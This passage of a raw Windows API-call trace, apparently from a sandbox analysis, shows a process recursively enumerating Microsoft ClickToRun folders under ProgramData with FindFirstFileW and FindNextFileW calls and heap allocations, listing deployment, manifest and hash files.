GetProcessHeap () returned 0xc10000 [0270.750] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0270.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0270.752] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.752] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfiguration.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0270.752] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest.xml", cAlternateFileName="")) returned 1 [0270.752] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639b81c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf39b2ab6, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserDeploymentConfiguration.xml", cAlternateFileName="USERDE~1.XML")) returned 1 [0270.752] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 1 [0270.752] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 0 [0270.752] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0270.753] GetProcessHeap () returned 0xc10000 [0270.753] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0270.753] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0 [0270.753] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0270.753] GetProcessHeap () returned 0xc10000 [0270.753] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0270.753] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0270.754] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0270.754] GetProcessHeap () returned 0xc10000 [0270.754] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0270.756] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0270.756] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0270.756] GetProcessHeap () returned 0xc10000 [0270.756] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0270.756] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0270.756] GetProcessHeap () returned 0xc10000 [0270.756] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0270.757] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.757] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0270.757] GetProcessHeap () returned 0xc10000 [0270.757] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0270.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0270.758] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.758] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0270.758] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0270.758] GetProcessHeap () returned 0xc10000 [0270.758] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0270.758] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0270.758] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0270.758] GetProcessHeap () returned 0xc10000 [0270.758] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0270.758] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0270.758] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0270.759] GetProcessHeap () returned 0xc10000 [0270.759] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0270.760] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1 [0270.760] GetProcessHeap () returned 0xc10000 [0270.760] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0270.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0270.768] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.768] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", cAlternateFileName="5A65C4~1")) returned 1 [0270.768] GetProcessHeap () returned 0xc10000 [0270.768] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0270.770] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.770] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0270.770] GetProcessHeap () returned 0xc10000 [0270.770] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0270.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0270.774] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a320d06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a49e573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.774] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a346f8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a346f8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd19cd600, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5bec, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0270.774] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0270.774] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a36d2e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a36d2e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x918a2300, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x1dff67, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.Culture.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0270.774] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 [0270.774] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0270.774] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0270.774] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0270.776] GetProcessHeap () returned 0xc10000 [0270.776] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0270.776] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0270.776] GetProcessHeap () returned 0xc10000 [0270.776] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0270.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0270.778] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.778] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd889800, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0270.778] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0270.778] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, 